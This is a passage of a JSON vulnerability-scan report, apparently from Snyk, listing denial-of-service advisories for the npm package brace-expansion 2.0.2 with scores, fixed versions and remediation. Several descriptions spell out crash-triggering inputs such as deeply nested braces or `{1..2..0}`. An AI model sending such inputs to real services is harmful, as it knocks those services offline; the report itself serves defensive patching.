"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
